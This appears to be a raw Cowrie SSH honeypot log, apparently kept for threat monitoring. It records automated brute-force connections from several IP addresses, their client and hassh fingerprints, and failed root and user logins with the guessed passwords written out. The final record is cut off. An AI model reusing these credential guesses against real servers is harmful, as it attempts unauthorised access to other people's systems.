{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:33.788257Z","src_ip":"85.11.167.46","session":"168a3812c3e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:33.871674Z","src_ip":"85.11.167.46","session":"168a3812c3e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"support","message":"login attempt [root/support] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:34.128376Z","src_ip":"85.11.167.46","session":"168a3812c3e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"11101994","message":"login attempt [user/11101994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:34.526580Z","src_ip":"2.57.121.25","session":"315137508fa4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:35.212975Z","src_ip":"85.11.167.46","session":"168a3812c3e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:38:35.636459Z","src_ip":"2.57.121.25","session":"315137508fa4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":43484,"dst_ip":"159.203.135.109","dst_port":22,"session":"83926c5421a6","protocol":"ssh","message":"New connection: 147.45.197.250:43484 (159.203.135.109:22) [session: 83926c5421a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:39:46.461439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:39:46.465978Z","src_ip":"147.45.197.250","session":"83926c5421a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:39:46.559579Z","src_ip":"147.45.197.250","session":"83926c5421a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fitness","message":"login attempt [root/fitness] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:39:46.844178Z","src_ip":"147.45.197.250","session":"83926c5421a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:39:47.941454Z","src_ip":"147.45.197.250","session":"83926c5421a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":40448,"dst_ip":"159.203.135.109","dst_port":22,"session":"bfceae0c9a08","protocol":"ssh","message":"New connection: 103.13.206.227:40448 (159.203.135.109:22) [session: bfceae0c9a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:39:49.688875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:39:49.694092Z","src_ip":"103.13.206.227","session":"bfceae0c9a08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:39:49.932771Z","src_ip":"103.13.206.227","session":"bfceae0c9a08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arnaldo","password":"arnaldo","message":"login attempt [arnaldo/arnaldo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:39:50.912963Z","src_ip":"103.13.206.227","session":"bfceae0c9a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:39:52.149850Z","src_ip":"103.13.206.227","session":"bfceae0c9a08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":50180,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e252a6602ec","protocol":"ssh","message":"New connection: 103.13.206.227:50180 (159.203.135.109:22) [session: 9e252a6602ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:42:05.206004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:42:05.210899Z","src_ip":"103.13.206.227","session":"9e252a6602ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:42:05.448298Z","src_ip":"103.13.206.227","session":"9e252a6602ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234.com","message":"login attempt [root/1234.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:42:06.413794Z","src_ip":"103.13.206.227","session":"9e252a6602ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:42:07.652984Z","src_ip":"103.13.206.227","session":"9e252a6602ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":49358,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f3295c28cf3","protocol":"ssh","message":"New connection: 51.250.105.222:49358 (10.17.0.5:22) [session: 4f3295c28cf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:42:32.785074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:42:32.789569Z","src_ip":"51.250.105.222","session":"4f3295c28cf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:42:32.918964Z","src_ip":"51.250.105.222","session":"4f3295c28cf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:42:33.327881Z","src_ip":"51.250.105.222","session":"4f3295c28cf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:42:34.463144Z","src_ip":"51.250.105.222","session":"4f3295c28cf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":31132,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc5cd2a3c90d","protocol":"ssh","message":"New connection: 38.93.206.2:31132 (10.17.0.5:22) [session: fc5cd2a3c90d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:43:18.105805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:43:18.110070Z","src_ip":"38.93.206.2","session":"fc5cd2a3c90d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:43:18.160951Z","src_ip":"38.93.206.2","session":"fc5cd2a3c90d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"200588","message":"login attempt [root/200588] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:43:18.335310Z","src_ip":"38.93.206.2","session":"fc5cd2a3c90d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:43:19.389703Z","src_ip":"38.93.206.2","session":"fc5cd2a3c90d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":45194,"dst_ip":"10.17.0.5","dst_port":22,"session":"568caad13d0f","protocol":"ssh","message":"New connection: 89.108.118.91:45194 (10.17.0.5:22) [session: 568caad13d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:43:31.051883Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:43:31.057303Z","src_ip":"89.108.118.91","session":"568caad13d0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:43:31.186886Z","src_ip":"89.108.118.91","session":"568caad13d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cocalar","message":"login attempt [root/cocalar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:43:31.573230Z","src_ip":"89.108.118.91","session":"568caad13d0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:43:32.704688Z","src_ip":"89.108.118.91","session":"568caad13d0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.227","src_port":38582,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcc86af6c839","protocol":"ssh","message":"New connection: 103.13.206.227:38582 (159.203.135.109:22) [session: dcc86af6c839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:44:26.454803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:44:26.458744Z","src_ip":"103.13.206.227","session":"dcc86af6c839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:44:26.701567Z","src_ip":"103.13.206.227","session":"dcc86af6c839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jy","password":"123456","message":"login attempt [jy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:44:27.706116Z","src_ip":"103.13.206.227","session":"dcc86af6c839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:44:28.953007Z","src_ip":"103.13.206.227","session":"dcc86af6c839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":49472,"dst_ip":"10.17.0.5","dst_port":22,"session":"14297710c9f9","protocol":"ssh","message":"New connection: 185.236.22.41:49472 (10.17.0.5:22) [session: 14297710c9f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:44:50.126380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:44:50.136408Z","src_ip":"185.236.22.41","session":"14297710c9f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@